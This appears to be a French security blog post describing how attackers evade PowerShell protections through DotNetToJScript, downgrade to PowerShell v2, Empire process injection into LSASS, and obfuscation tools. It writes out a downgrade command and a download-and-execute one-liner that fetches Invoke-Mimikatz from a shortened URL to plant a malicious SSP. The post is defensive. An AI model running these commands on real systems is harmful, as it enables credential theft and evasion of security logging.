_1715178265.png)
PowerShell est l’une des plateformes les plus populaires aux yeux des acteurs malveillants. Pour protéger vos données et systèmes critiques, il est essentiel de mettre en œuvre des stratégies de blocage et de détection des attaques exploitant PowerShell. Toutefois, il ne faut pas croire que ces mesures de sécurité soient infaillibles : les adversaires cherchent constamment des moyens de contourner vos défenses. Examinons trois de ces techniques, afin que vous puissiez élaborer une stratégie encore plus robuste pour défendre vos données et votre entreprise.
Éviter complètement PowerShell
L’utilisation d’options telles que le mode de langage contraint (Constrained Language) et la journalisation des blocs de scripts est essentielle pour se protéger contre les attaques qui utilisent PowerShell de manière abusive. Cependant, ces mesures restent sans effet sur les attaquants qui choisissent d’éviter PowerShell.
Une méthode récente pour y parvenir est fournie sur GitHub par Casey Smith (subTee). L’utilitaire DotNetToJScript est utilisé pour créer un fichier JavaScript capable de charger des assemblages .NET depuis la mémoire :
Voici à quoi ressemble le fichier lui-même, qui comporte des centaines de lignes.
Un acteur malveillant peut prendre ce fichier et le charger à l’aide de l’exécutable Windows Script Host, ce qui permettra en retour de lancer mimikatz. Ci-dessous, vous pouvez voir comment cette technique peut être utilisée pour créer un SSP (Security Support Provider) malveillant.
Il existe d’autres exploits de Windows Scripting Host, ainsi que des exemples d’utilisation de JavaScript prenant pour cible les systèmes Windows, il est donc important de comprendre le fonctionnement de ces attaques.
Attaques par rétrogradation de PowerShell
Une autre stratégie importante pour contrecarrer les attaquants consiste à mettre en pratique le mode de langage contraint (Constrained Language). Apparu avec PowerShell v5, ce mode restreint PowerShell à un ensemble limité de commandes et de scripts. Cependant, les attaquants disposent de plusieurs options pour contourner cette défense.
Utiliser une version de PowerShell qui ne prend pas en charge le mode de langage restreint
Un moyen simple de contourner la protection du mode de langage contraint dans la version 5 consiste à spécifier une version antérieure de PowerShell à exécuter lors du lancement de PowerShell à partir de l’invite de commande :
PowerShell -Version 2 -Commande [Votre commande ici]
Vous pouvez voir ici comment cette méthode est utilisée pour créer une SSP malveillante à l’aide de mimikatz :
Using Process Injection
Quand PowerShell 2.0 est désactivé, les attaquants ont d’autres solutions à leur disposition. Par exemple, ils peuvent utiliser les capacités d’injection de processus intégrées à Empire, qui s’appuient sur ReflectivePick pour charger les composants nécessaires à l’exécution de PowerShell dans n’importe quel processus, sans lancer PowerShell lui-même.
En exécutant le module psinject comme indiqué ci-dessous, ils peuvent spécifier le processus à injecter. Cela permettra de récupérer un nouvel agent Empire à partir duquel ils pourront lancer n’importe quelle commande PowerShell, en contournant le mode de langage contraint.
Voici un exemple d’injection dans le processus LSASS exécuté sous le compte SYSTEM :
Comment désactiver les anciennes versions de PowerShell
Pour améliorer la sécurité, il est conseillé de désactiver les versions de PowerShell dont vous n’avez pas besoin. Cependant, faites preuve de discernement, car cela peut entraîner des problèmes de compatibilité avec les scripts existants. Notez que PowerShell 2.0 est désactivé par défaut dans Windows 10 :
Using Obfuscation to Avoid Detection
La fonction de journalisation des blocs de script de PowerShell v5 fournit une journalisation en texte clair du script complet exécuté par PowerShell, ce qui permet aux équipes de sécurité de repérer les codes malveillants. Sachant cela, les adversaires peuvent obscurcir leur code de manière à rendre la journalisation des blocs de script moins utile pour comprendre exactement ce qui se passe dans un script PowerShell.
Daniel Bohannon propose deux outils utiles pour l’obscurcissement de PowerShell : Invoke-Obfuscation et Invoke-CradleCrafter. Pour voir comment ces outils pourraient aider un acteur malveillant à échapper à la détection, supposons que nous soyons des attaquants souhaitant exécuter le script suivant, qui téléchargera Invoke-Mimikatz sur le web et lancera ensuite une commande pour créer une SSP malveillante :
IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -Command ‘”privilege::debug ” “misc::memssp”‘
Si nous parvenions à exécuter cette commande, il y aurait de fortes chances qu’elle soit enregistrée dans le journal des événements, même de façon codée, grâce à la journalisation des blocs de script :
Néanmoins, en utilisant Invoke-Obfuscation et Invoke-CradleCrafter, il est possible de rendre notre script plus difficile à lire et à comprendre — et donc moins susceptible d’être repéré par l’équipe de sécurité. Sans entrer dans les détails, ces modules peuvent transformer notre script original en celui présenté ci-dessous, de sorte qu’il est pratiquement impossible de savoir ce qui se passe. Comme vous pouvez le voir, le résultat est l’injection d’un SSP malveillant.
Conclusion
La sécurité est un combat permanent, les adversaires cherchant sans relâche des techniques pour contourner les mesures de protection mises en place par les entreprises. Par conséquent, en plus de renforcer votre environnement PowerShell pour déjouer et détecter les attaques, assurez-vous de rester à l’affût des astuces utilisées par les acteurs malveillants pour contourner vos défenses. C’est en comprenant comment ils évitent complètement PowerShell en exécutant une version dégradée de PowerShell pour éviter les protections intégrées à la version 5, et en obscurcissant leur code, que vous pourrez améliorer la cybersécurité et la cyberrésilience de votre organisation.
